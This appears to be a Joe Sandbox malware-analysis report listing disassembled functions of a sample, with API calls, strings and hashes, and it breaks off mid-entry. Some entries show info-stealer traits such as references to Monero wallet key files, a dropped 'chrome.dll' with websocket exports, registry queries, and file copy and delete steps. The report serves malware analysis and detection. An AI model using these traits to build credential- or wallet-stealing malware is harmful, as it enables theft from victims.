Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 56efd82998a8cf14b103b1a55bccdaa05d5e28f9542cfce3e605e83a9d228851
Instruction ID: 7f5099e4c4cb1c2815dc41aae3373d5e660f882678760e25d842edd44faf2076
Opcode Fuzzy Hash: 56efd82998a8cf14b103b1a55bccdaa05d5e28f9542cfce3e605e83a9d228851
Instruction Fuzzy Hash: 134198B690020C6BDF14FBA0EC46FEE737CAB88700F444598B72597181EA7567989BD1

Function 00CFCBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 00CFCC1F
dllmain_crt_dispatch.LIBCMT ref: 00CFCC36
dllmain_raw.LIBCMT ref: 00CFCC7E
dllmain_crt_dispatch.LIBCMT ref: 00CFCC91
dllmain_raw.LIBCMT ref: 00CFCCA4

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction ID: d18c7d1ba658f31f6ec3a99a06c46e5b2687911f728fb10a39b3d3162d54f94b
Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction Fuzzy Hash: 9421C772F0062DAFDBA19F15CEC1A7F3A79EB81790F054115FA2967211C3304E419BE2

Function 00C97F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C97FC7
RtlAllocateHeap.NTDLL(00000000), ref: 00C97FCE
RegOpenKeyExA.ADVAPI32(80000002,0151BAF0,00000000,00020119,?), ref: 00C97FEE
RegQueryValueExA.ADVAPI32(?,0152D2D8,00000000,00000000,000000FF,000000FF), ref: 00C9800F
RegCloseKey.ADVAPI32(?), ref: 00C98022

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a4b1f38fcdbe4671b61c9570598df6e46e48610017950110f5b5473c58bbb9d3
Instruction ID: 3c697516f70bfaca7c5a13f962fe76346d2642c0a9c20c1411b6de16a6c107f9
Opcode Fuzzy Hash: a4b1f38fcdbe4671b61c9570598df6e46e48610017950110f5b5473c58bbb9d3
Instruction Fuzzy Hash: 971191B1A44309EBDB00DF95ED49F7FBB78EB04B11F104119F716A7280DB7559049BA1

Function 00C993F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0152DE18,00000000,00000000,?,00C89F71,00000000,0152DE18,00000000), ref: 00C993FC
lstrcpyn.KERNEL32(00F57580,0152DE18,0152DE18,?,00C89F71,00000000,0152DE18), ref: 00C99420
lstrlen.KERNEL32(00000000,?,00C89F71,00000000,0152DE18), ref: 00C99437
wsprintfA.USER32 ref: 00C99457

Strings

%s%s, xrefs: 00C99445

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 9a68999d63318b8b6024eb9cd728215bbc13f847a5c24b7e626526f320a701b1
Instruction ID: 9d495316d60c182780556cf9b545daa7af224f427b5035fd72e984983ee6e8ff
Opcode Fuzzy Hash: 9a68999d63318b8b6024eb9cd728215bbc13f847a5c24b7e626526f320a701b1
Instruction Fuzzy Hash: D901DE7550830CFFCB04EFA8D948EAE7B78EB48345F158248FA099B245D731EA44EB90

Function 00C812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C812B4
RtlAllocateHeap.NTDLL(00000000), ref: 00C812BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00C812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00C812F5
RegCloseKey.ADVAPI32(?), ref: 00C812FF

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: c70ebfcd7a3114a6e5f020160ce461a36c914db3739f6f2f10df9838ee05255f
Instruction ID: b78098c680b38f3d5c307839c279eb8038bf8c6f8601ea31e9fe663a6f5e3cc1
Opcode Fuzzy Hash: c70ebfcd7a3114a6e5f020160ce461a36c914db3739f6f2f10df9838ee05255f
Instruction Fuzzy Hash: AB01CD79A4430DBBDB14EFE4EC49FAE77BCAB48701F104195FB1597280DA709A009B90

Function 00C9CB7E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00C9CC1C
___crtLCMapStringA.LIBCMT ref: 00C9CC3C
___crtLCMapStringA.LIBCMT ref: 00C9CC61

Strings

, xrefs: 00C9CBC6

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 735073a6f28429de5567b50e67ec73e6348b9d9f700e22c025f7b08c106cb2ab
Instruction ID: d84a38fee1d1f38f6210708b7dbc867c80a74592ffe683742ea66535d6d257a9
Opcode Fuzzy Hash: 735073a6f28429de5567b50e67ec73e6348b9d9f700e22c025f7b08c106cb2ab
Instruction Fuzzy Hash: 194104B110079C9FDF218B248DD9FFBBFE8AB45304F1444E8E99A97182E2719B459F60

Function 00C968D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00C96903

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00C969C6
ExitProcess.KERNEL32 ref: 00C969F5

Strings

<, xrefs: 00C96979

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: b8ac435e32594938ba62374505a6f1fbd44649665fb24d14b6937fcf800075e2
Instruction ID: ef7b020dec554b036521604f3313dfbaae8549de480a3cd67ead9b5c7f50b881
Opcode Fuzzy Hash: b8ac435e32594938ba62374505a6f1fbd44649665fb24d14b6937fcf800075e2
Instruction Fuzzy Hash: 55313CB1901218ABDB14EB90DC9AFDEB778AF58300F404189F305A7191DF706B48DFA9

Function 00C98950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CA0E10,00000000,?), ref: 00C989BF
RtlAllocateHeap.NTDLL(00000000), ref: 00C989C6
wsprintfA.USER32 ref: 00C989E0

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Strings

%dx%d, xrefs: 00C989D7

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: e20ca0cfe22175916fc8100a9c76eb96413e366f72a8d6b36348af010e8dc0b0
Instruction ID: a9e71109c1e19ad62ebd4dc58cd8f2441c5474a0f4b384f3f067696359e691ab
Opcode Fuzzy Hash: e20ca0cfe22175916fc8100a9c76eb96413e366f72a8d6b36348af010e8dc0b0
Instruction Fuzzy Hash: 142130B1A44308AFDB00DF94ED49FAEBBB8FB49711F104159F616A7280CB75A9009FA0

Function 00C8A090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00C8A098

Strings

C:\ProgramData\chrome.dll, xrefs: 00C8A093
connect_to_websocket, xrefs: 00C8A0B3
free_result, xrefs: 00C8A0C9

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 1029625771-1545816527
Opcode ID: 33221c8004a856578ab917f7c0d29ed2e367ac98d2b19e7170a68cd3829d2903
Instruction ID: 8e58817d9aba42598d104c0a84f6d8c89b910d959a390fbf07e8a8bdb6b97c7f
Opcode Fuzzy Hash: 33221c8004a856578ab917f7c0d29ed2e367ac98d2b19e7170a68cd3829d2903
Instruction Fuzzy Hash: 5DF01D7564C308EEE710BB66FC4CB5A32D8A34630AF10052AE70A971E0C7B49984EB56

Function 00C98EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00C996AE,00000000), ref: 00C98EEB
RtlAllocateHeap.NTDLL(00000000), ref: 00C98EF2
wsprintfW.USER32 ref: 00C98F08

Strings

%hs, xrefs: 00C98EFF

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 7f8079757920f42691c939fb2e39a7386e9cf88d8b99c2ba1dc8b807ff6e96fe
Instruction ID: 002aa4dfb5b5c2fe8a39f73f33b21c12e7aaf547ac5093a1c07aa72a1fb3f77b
Opcode Fuzzy Hash: 7f8079757920f42691c939fb2e39a7386e9cf88d8b99c2ba1dc8b807ff6e96fe
Instruction Fuzzy Hash: 91E0EC75A4830DBBDB10EB94ED0AE6D77BCEB05702F100194FE0A97380DA719E10AB95

Function 00C8A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C98CF0: GetSystemTime.KERNEL32(00CA0E1B,0152A068,00CA05B6,?,?,00C813F9,?,0000001A,00CA0E1B,00000000,?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C98D16

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C8AA11
lstrlen.KERNEL32(00000000,00000000), ref: 00C8AB2F
lstrlen.KERNEL32(00000000), ref: 00C8ADEC

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

DeleteFileA.KERNEL32(00000000), ref: 00C8AE73

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
